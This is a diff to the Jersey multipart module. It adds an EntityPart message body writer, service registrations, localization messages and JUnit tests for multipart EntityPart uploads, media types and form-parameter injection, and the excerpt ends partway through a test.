@@ -0,0 +1,67 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.media.multipart.internal; + +import jakarta.inject.Inject; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedMap; +import jakarta.ws.rs.ext.MessageBodyWriter; +import jakarta.ws.rs.ext.Providers; +import org.glassfish.jersey.media.multipart.BodyPart; +import org.glassfish.jersey.media.multipart.MultiPart; + +import java.io.IOException; +import java.io.OutputStream; +import java.lang.annotation.Annotation; +import java.lang.reflect.Type; + +public class SingleEntityPartWriter implements MessageBodyWriter<EntityPart> { + + private MultiPartWriter multiPartWriter; + + private final Providers providers; + + @Inject + public SingleEntityPartWriter(@Context Providers providers) { + this.providers = providers; + } + + @Override + public boolean isWriteable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) { + return EntityPart.class.isAssignableFrom(type); + } + + @Override + public void writeTo(EntityPart entityParts, Class<?> type, Type genericType, Annotation[] annotations, + MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream) + throws IOException, WebApplicationException { + final MultiPart multiPart = new MultiPart(); + multiPart.setMediaType(mediaType); + multiPart.bodyPart((BodyPart) entityParts); + + if (multiPartWriter == null) { + multiPartWriter = (MultiPartWriter) providers.getMessageBodyWriter( + MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE); + } + + multiPartWriter.writeTo(multiPart, MultiPart.class, MultiPart.class, + annotations, multiPart.getMediaType(), httpHeaders, entityStream); + } +}
diff --git a/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.innate.spi.EntityPartBuilderProvider b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.innate.spi.EntityPartBuilderProvider new file mode 100644 index 0000000..32738ac --- /dev/null +++ b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.innate.spi.EntityPartBuilderProvider
@@ -0,0 +1 @@ +org.glassfish.jersey.media.multipart.JerseyEntityPartBuilderProvider \ No newline at end of file
diff --git a/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable new file mode 100644 index 0000000..04a6776 --- /dev/null +++ b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable
@@ -0,0 +1 @@ +org.glassfish.jersey.media.multipart.MultiPartFeatureAutodiscoverable \ No newline at end of file
diff --git a/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties b/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties index 8a7b4ba..13e7136 100644 --- a/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties +++ b/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties
@@ -15,6 +15,8 @@ # cannot.inject.file=Cannot provide file for an entity body part. +content.has.been.already.read=Content method has already been invoked. +entity.content.not.set=EntityPart content is not set. entity.has.wrong.type=Entity instance does not contain the unconverted content. error.charset.unsupported={0} charset is not supported. error.filename.unsupported=Unsupported filename parameter {0}.
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/ClientFilterTests.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/ClientFilterTests.java new file mode 100644 index 0000000..f7bfa53 --- /dev/null +++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/ClientFilterTests.java
@@ -0,0 +1,173 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.media.multipart; + +import jakarta.json.Json; +import jakarta.json.JsonArray; +import jakarta.json.JsonArrayBuilder; +import jakarta.json.JsonObject; +import jakarta.json.JsonObjectBuilder; +import jakarta.json.JsonValue; +import jakarta.ws.rs.BadRequestException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.UncheckedIOException; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +/** + * Tests in clientFilter before the multipart provider is invoked. + * Check the workers are set. + * + * Modified MP Rest Client TCK tests + */ +public class ClientFilterTests { + /** + * Tests that a single file is upload. The response is a simple JSON response with the file information. + * + * @throws Exception + * if a test error occurs + */ + @Test + public void uploadFile() throws Exception { + try (Client client = createClient()) { + final byte[] content; + try (InputStream in = ClientFilterTests.class.getResourceAsStream("/multipart/test-file1.txt")) { + Assertions.assertNotNull(in, "Could not find /multipart/test-file1.txt"); + content = in.readAllBytes(); + } + // Send in an InputStream to ensure it works with an InputStream + final List<EntityPart> files = List.of(EntityPart.withFileName("test-file1.txt") + .content(new ByteArrayInputStream(content)) + .mediaType(MediaType.APPLICATION_OCTET_STREAM_TYPE) + .build()); + try (Response response = client.target("http://localhost").request() + .post(Entity.entity(files, MediaType.MULTIPART_FORM_DATA))) { + Assertions.assertEquals(201, response.getStatus()); + final JsonArray jsonArray = response.readEntity(JsonArray.class); + Assertions.assertNotNull(jsonArray); + Assertions.assertEquals(jsonArray.size(), 1); + final JsonObject json = jsonArray.getJsonObject(0); + Assertions.assertEquals(json.getString("name"), "test-file1.txt"); + Assertions.assertEquals(json.getString("fileName"), "test-file1.txt"); + Assertions.assertEquals(json.getString("content"), "This is a test file for file 1."); + } + } + } + + /** + * Tests that two files are upload. The response is a simple JSON response with the file information. + * + * @throws Exception + * if a test error occurs + */ + @Test + public void uploadMultipleFiles() throws Exception { + try (Client client = createClient()) { + final Map<String, byte[]> entityPartContent = new LinkedHashMap<>(2); + try (InputStream in = ClientFilterTests.class.getResourceAsStream("/multipart/test-file1.txt")) { + Assertions.assertNotNull(in, "Could not find /multipart/test-file1.txt"); + entityPartContent.put("test-file1.txt", in.readAllBytes()); + } + try (InputStream in = ClientFilterTests.class.getResourceAsStream("/multipart/test-file2.txt")) { + Assertions.assertNotNull(in, "Could not find /multipart/test-file2.txt"); + entityPartContent.put("test-file2.txt", in.readAllBytes()); + } + final List<EntityPart> files = entityPartContent.entrySet() + .stream() + .map((entry) -> { + try { + return EntityPart.withName(entry.getKey()) + .fileName(entry.getKey()) + .content(entry.getValue()) + .mediaType(MediaType.APPLICATION_OCTET_STREAM_TYPE) + .build(); + } catch (IOException e) { + throw new UncheckedIOException(e); + } + }) + .collect(Collectors.toList()); + + try (Response response = client.target("http://localhost").request() + .post(Entity.entity(files, MediaType.MULTIPART_FORM_DATA))) { + Assertions.assertEquals(201, response.getStatus()); + final JsonArray jsonArray = response.readEntity(JsonArray.class); + Assertions.assertNotNull(jsonArray); + Assertions.assertEquals(jsonArray.size(), 2); + // Don't assume the results are in a specific order + for (JsonValue value : jsonArray) { + final JsonObject json = value.asJsonObject(); + if (json.getString("name").equals("test-file1.txt")) { + Assertions.assertEquals(json.getString("fileName"), "test-file1.txt"); + Assertions.assertEquals(json.getString("content"), "This is a test file for file 1."); + } else if (json.getString("name").equals("test-file2.txt")) { + Assertions.assertEquals(json.getString("fileName"), "test-file2.txt"); + Assertions.assertEquals(json.getString("content"), "This is a test file for file 2."); + } else { + Assertions.fail(String.format("Unexpected entry %s in JSON response: %n%s", json, jsonArray)); + } + } + } + } + } + + private static Client createClient() { + return ClientBuilder.newClient().register(new FileManagerFilter()); + } + + public static class FileManagerFilter implements ClientRequestFilter { + + @Override + public void filter(final ClientRequestContext requestContext) throws IOException { + if (requestContext.getMethod().equals("POST")) { + // Download the file + @SuppressWarnings("unchecked") + final List<EntityPart> entityParts = (List<EntityPart>) requestContext.getEntity(); + final JsonArrayBuilder jsonBuilder = Json.createArrayBuilder(); + for (EntityPart part : entityParts) { + final JsonObjectBuilder jsonPartBuilder = Json.createObjectBuilder(); + jsonPartBuilder.add("name", part.getName()); + if (part.getFileName().isPresent()) { + jsonPartBuilder.add("fileName", part.getFileName().get()); + } else { + throw new BadRequestException("No file name for entity part " + part); + } + jsonPartBuilder.add("content", part.getContent(String.class)); + jsonBuilder.add(jsonPartBuilder); + } + requestContext.abortWith(Response.status(201).entity(jsonBuilder.build()).build()); + } else { + requestContext + .abortWith(Response.status(Response.Status.BAD_REQUEST).entity("Invalid request").build()); + } + } + } +}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MediaTypeTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MediaTypeTest.java new file mode 100644 index 0000000..cd3d884 --- /dev/null +++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MediaTypeTest.java
@@ -0,0 +1,74 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.media.multipart; + +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.MediaType; +import org.junit.jupiter.api.Test; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class MediaTypeTest { + @Test + public void testInputStreamDataMediaType() throws IOException { + ByteArrayInputStream bais = new ByteArrayInputStream("test".getBytes()); + EntityPart entityPart = EntityPart.withName("textFile").fileName("test.txt") + .content(bais) + .mediaType(MediaType.TEXT_PLAIN_TYPE) + .build(); + assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType()); + } + + @Test + public void testFileDataMediaType() throws IOException { + EntityPart entityPart = EntityPart.withName("textFile") + .content(new File("anyname"), File.class) + .mediaType(MediaType.TEXT_PLAIN_TYPE) + .build(); + assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType()); + } + + @Test + public void testGenericDataMediaType() throws IOException { + EntityPart entityPart = EntityPart.withName("textFile") + .content("Hello", String.class) + .mediaType(MediaType.TEXT_PLAIN_TYPE) + .build(); + assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType()); + } + + @Test + public void testInputStreamDataNullMediaType() throws IOException { + ByteArrayInputStream bais = new ByteArrayInputStream("test".getBytes()); + EntityPart entityPart = EntityPart.withName("textFile").fileName("test.txt") + .content(bais) + .build(); + assertEquals(MediaType.APPLICATION_OCTET_STREAM_TYPE, entityPart.getMediaType()); + } + + @Test + public void testGenericDataNullMediaType() throws IOException { + EntityPart entityPart = EntityPart.withName("textFile") + .content("Hello", String.class) + .build(); + assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType()); + } +}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java index c35f468..70dc2df 100644 --- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java +++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -86,6 +86,12 @@ fdbp.setFileEntity(file, expectedType); checkEntityAttributes(name, fdbp, file, expectedType); + file = new File("pom.json"); + name = "json"; + fdbp = new FileDataBodyPart(name, file); + expectedType = DefaultMediaTypePredictor.CommonMediaTypes.JSON.getMediaType(); + checkEntityAttributes(name, fdbp, file, expectedType); + file = new File("pom.png"); name = "png"; fdbp = new FileDataBodyPart("png", file);
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartBeansTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartBeansTest.java new file mode 100644 index 0000000..effb565 --- /dev/null +++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartBeansTest.java
@@ -0,0 +1,71 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.media.multipart.internal; + +import jakarta.ws.rs.Consumes; +import jakarta.ws.rs.FormParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.GenericEntity; +import jakarta.ws.rs.core.MediaType; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class EntityPartBeansTest extends JerseyTest { + + @Path("/form-field-injected") + public static class MultiPartFieldInjectedResource { + @FormParam("string") + EntityPart stringEntityPart; + + @POST + @Path("xml-jaxb-part") + @Consumes(MediaType.MULTIPART_FORM_DATA) + public String post() throws IOException { + return stringEntityPart.getContent(String.class) + ":" + stringEntityPart.getFileName().get(); + } + } + + @Override + protected Application configure() { + return new ResourceConfig(MultiPartFieldInjectedResource.class); + } + + @Test + public void testInjectedEntityPartBeans() throws IOException { + final WebTarget target = target().path("/form-field-injected/xml-jaxb-part"); + + final EntityPart entityPart = EntityPart.withName("string").fileName("string") + .content("STRING", String.class) + .build(); + + final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart)) {}; + + final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class); + assertEquals("STRING:string", s); + } +}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartTest.java new file mode 100644 index 0000000..e6bd4e6 --- /dev/null +++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartTest.java
@@ -0,0 +1,388 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.media.multipart.internal; + +import jakarta.ws.rs.Consumes; +import jakarta.ws.rs.FormParam; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.GenericEntity; +import jakarta.ws.rs.core.GenericType; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedMap; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.ext.MessageBodyReader; +import jakarta.ws.rs.ext.MessageBodyWriter; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.internal.util.ReflectionHelper; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.annotation.Annotation; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.nio.charset.StandardCharsets; +import java.util.LinkedList; +import java.util.List; +import java.util.concurrent.atomic.AtomicReference; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class EntityPartTest extends JerseyTest { + + private static final GenericType<List<EntityPart>> LIST_ENTITY_PART_TYPE = new GenericType<List<EntityPart>>(){}; + private static final GenericType<AtomicReference<String>> ATOMIC_REFERENCE_GENERIC_TYPE = new GenericType<>(){}; + + @Path("/") + public static class EntityPartTestResource { + @GET + public Response getResponse() throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName("part-01").content("TEST1").build()); + list.add(EntityPart.withName("part-02").content("TEST2").build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; + return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build(); + } + + @POST + @Path("/postList") + public String postEntityPartList(List<EntityPart> list) throws IOException { + String entity = list.get(0).getContent(String.class) + list.get(1).getContent(String.class); + return entity; + } + + @POST + @Path("/postForm") + public String postEntityPartForm(@FormParam("part-01") EntityPart part1, @FormParam("part-02") EntityPart part2) + throws IOException { + String entity = part1.getContent(String.class) + part2.getContent(String.class); + return entity; + } + + @POST + @Path("/postListForm") + public String postEntityPartForm(@FormParam("part-0x") List<EntityPart> part) + throws IOException { + String entity = part.get(0).getContent(String.class) + part.get(1).getContent(String.class); + return entity; + } + + @POST + @Path("/postStreams") + public Response postEntityStreams(@FormParam("name1") EntityPart part1, + @FormParam("name2") EntityPart part2, + @FormParam("name3") EntityPart part3) throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName(part1.getName()).fileName(part1.getFileName().get()).content( + new ByteArrayInputStream(part1.getContent(String.class).getBytes(StandardCharsets.UTF_8))).build()); + list.add(EntityPart.withName(part2.getName()).fileName(part2.getFileName().get()).content( + new ByteArrayInputStream(part2.getContent(String.class).getBytes(StandardCharsets.UTF_8))).build()); + list.add(EntityPart.withName(part3.getName()).fileName(part3.getFileName().get()) + .content(part3.getContent(StringHolder.class), StringHolder.class) + .mediaType(part3.getMediaType()).build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; + return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build(); + } + + @POST + @Path("/postHeaders") + public Response postEntityStreams(@FormParam("name1") EntityPart part1) throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName(part1.getName()).content(part1.getContent(String.class)) + .headers(part1.getHeaders()).build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; + return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build(); + } + + @POST + @Path("/postGeneric") + public Response postGeneric(@FormParam("name1") EntityPart part1) throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName(part1.getName()) + .content(part1.getContent(ATOMIC_REFERENCE_GENERIC_TYPE), ATOMIC_REFERENCE_GENERIC_TYPE) + .mediaType(MediaType.TEXT_PLAIN_TYPE) + .build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; + return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build(); + } + + @POST + @Path("/postFormVarious") + public Response postFormVarious(@FormParam("name1") EntityPart part1, + @FormParam("name2") InputStream part2, + @FormParam("name3") String part3) throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName(part1.getName()) + .content(part1.getContent(String.class) + new String(part2.readAllBytes()) + part3) + .mediaType(MediaType.TEXT_PLAIN_TYPE) + .build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; + return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build(); + } + + @GET + @Produces(MediaType.MULTIPART_FORM_DATA) + @Path("/getList") + public List<EntityPart> getList() throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName("name1").content("data1").build()); + return list; + } + } + + public static class StringHolder extends AtomicReference<String> { + StringHolder(String name) { + set(name); + } + } + + @Consumes(MediaType.TEXT_PLAIN) + @Produces(MediaType.TEXT_PLAIN) + public static class StringHolderWorker implements MessageBodyReader<StringHolder>, MessageBodyWriter<StringHolder> { + + @Override + public boolean isReadable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) { + return type == StringHolder.class; + } + + @Override + public StringHolder readFrom(Class<StringHolder> type, Type genericType, Annotation[] annotations, + MediaType mediaType, MultivaluedMap<String, String> httpHeaders, + InputStream entityStream) throws IOException, WebApplicationException { + final StringHolder holder = new StringHolder(new String(entityStream.readAllBytes())); + return holder; + } + + @Override + public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) { + return type == StringHolder.class; + } + + @Override + public void writeTo(StringHolder s, Class<?> type, Type genericType, Annotation[] annotations, + MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, + OutputStream entityStream) throws IOException, WebApplicationException { + entityStream.write(s.get().getBytes(StandardCharsets.UTF_8)); + } + } + + @Override + protected Application configure() { + return new ResourceConfig(EntityPartTestResource.class, + StringHolderWorker.class, AtomicReferenceProvider.class) + .property(ServerProperties.WADL_FEATURE_DISABLE, true); + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(StringHolderWorker.class).register(AtomicReferenceProvider.class); + } + + @Test + public void getEntityPartListTest() throws IOException { + try (Response response = target().request().get()) { + List<EntityPart> list = response.readEntity(LIST_ENTITY_PART_TYPE); + assertEquals("TEST1", list.get(0).getContent(String.class)); + assertEquals("TEST2", list.get(1).getContent(String.class)); + } + } + + @Test + public void postEntityPartListTest() throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName("part-01").content("TEST").build()); + list.add(EntityPart.withName("part-02").content("1").build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; + Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE); + try (Response response = target("/postList").request().post(entity)) { + assertEquals("TEST1", response.readEntity(String.class)); + } + } + + @Test + public void postEntityPartFormParamTest() throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName("part-01").content("TEST").build()); + list.add(EntityPart.withName("part-02").content("1").build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; + Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE); + try (Response response = target("/postForm").request().post(entity)) { + assertEquals("TEST1", response.readEntity(String.class)); + } + } + + @Test + public void postListEntityPartFormParamTest() throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName("part-0x").content("TEST").build()); + list.add(EntityPart.withName("part-0x").content("1").build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; + Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE); + try (Response response = target("/postListForm").request().post(entity)) { + assertEquals("TEST1", response.readEntity(String.class)); + } + } + + @Test + public void postEntityPartStreamsTest() throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName("name1").fileName("file1.doc").content( + new ByteArrayInputStream("data1".getBytes(StandardCharsets.UTF_8))).build()); + list.add(EntityPart.withName("name2").fileName("file2.doc").content( + new ByteArrayInputStream("data2".getBytes(StandardCharsets.UTF_8))).build()); + list.add(EntityPart.withName("name3").fileName("file3.xml") + .content(new StringHolder("data3"), StringHolder.class) + .mediaType(MediaType.TEXT_PLAIN_TYPE).build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) { + }; + Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE); + + try (Response response = target("/postStreams").request().post(entity)) { + List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE); + + EntityPart part1 = result.get(0); + assertEquals("name1", part1.getName()); + assertEquals("file1.doc", part1.getFileName().get()); + assertEquals("data1", part1.getContent(String.class)); + + EntityPart part2 = result.get(1); + assertEquals("name2", part2.getName()); + assertEquals("file2.doc", part2.getFileName().get()); + assertEquals("data2", part2.getContent(String.class)); + + EntityPart part3 = result.get(2); + assertEquals("name3", part3.getName()); + assertEquals("file3.xml", part3.getFileName().get()); + assertEquals("data3", part3.getContent(String.class)); + assertEquals(MediaType.TEXT_PLAIN_TYPE, part3.getMediaType()); + } + } + + @Test + public void postHeaderTest() throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName("name1").content("data1") + .header("header-01", "value-01").build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; + Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE); + try (Response response = target("/postHeaders").request().post(entity)) { + List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE); + assertEquals("value-01", result.get(0).getHeaders().getFirst("header-01")); + assertEquals("data1", result.get(0).getContent(String.class)); + } + } + + @Test + public void postHeaderNoListTest() throws IOException { + EntityPart entityPart = EntityPart.withName("name1").content("data1").header("header-01", "value-01").build(); + Entity entity = Entity.entity(entityPart, MediaType.MULTIPART_FORM_DATA_TYPE); + try (Response response = target("/postHeaders").request().post(entity)) { + response.bufferEntity(); + List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE); + assertEquals("value-01", result.get(0).getHeaders().getFirst("header-01")); + assertEquals("data1", result.get(0).getContent(String.class)); + + EntityPart firstEntity = response.readEntity(EntityPart.class); + assertEquals("value-01", result.get(0).getHeaders().getFirst("header-01")); + } + } + + @Consumes(MediaType.TEXT_PLAIN) + @Produces(MediaType.TEXT_PLAIN) + public static class AtomicReferenceProvider implements + MessageBodyReader<AtomicReference<String>>, + MessageBodyWriter<AtomicReference<String>> { + + @Override + public boolean isReadable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) { + return type == AtomicReference.class + && ParameterizedType.class.isInstance(generic) + && String.class.isAssignableFrom(ReflectionHelper.getGenericTypeArgumentClasses(generic).get(0)); + } + + @Override + public AtomicReference<String> readFrom(Class<AtomicReference<String>> type, Type genericType, + Annotation[] annotations, MediaType mediaType, + MultivaluedMap<String, String> httpHeaders, InputStream entityStream) + throws IOException, WebApplicationException { + return new AtomicReference<String>(new String(entityStream.readAllBytes(), StandardCharsets.UTF_8)); + } + + @Override + public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) { + return isReadable(type, genericType, annotations, mediaType); + } + + @Override + public void writeTo(AtomicReference<String> stringAtomicReference, Class<?> type, Type genericType, + Annotation[] annotations, MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, + OutputStream entityStream) throws IOException, WebApplicationException { + entityStream.write(stringAtomicReference.get().getBytes(StandardCharsets.UTF_8)); + } + } + + @Test + public void genericEntityTest() throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName("name1") + .content(new AtomicReference<String>("data1"), ATOMIC_REFERENCE_GENERIC_TYPE) + .mediaType(MediaType.TEXT_PLAIN_TYPE) + .build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; + Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE); + try (Response response = target("/postGeneric").request().post(entity)) { + List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE); + assertEquals("data1", result.get(0).getContent(String.class)); + } + } + + @Test + public void postVariousTest() throws IOException { + List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName("name1").content("Hello ").build()); + list.add(EntityPart.withName("name2").content("world").build()); + list.add(EntityPart.withName("name3").content("!").build()); + GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) { + }; + Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE); + + try (Response response = target("/postFormVarious").request().post(entity)) { + List<EntityPart> 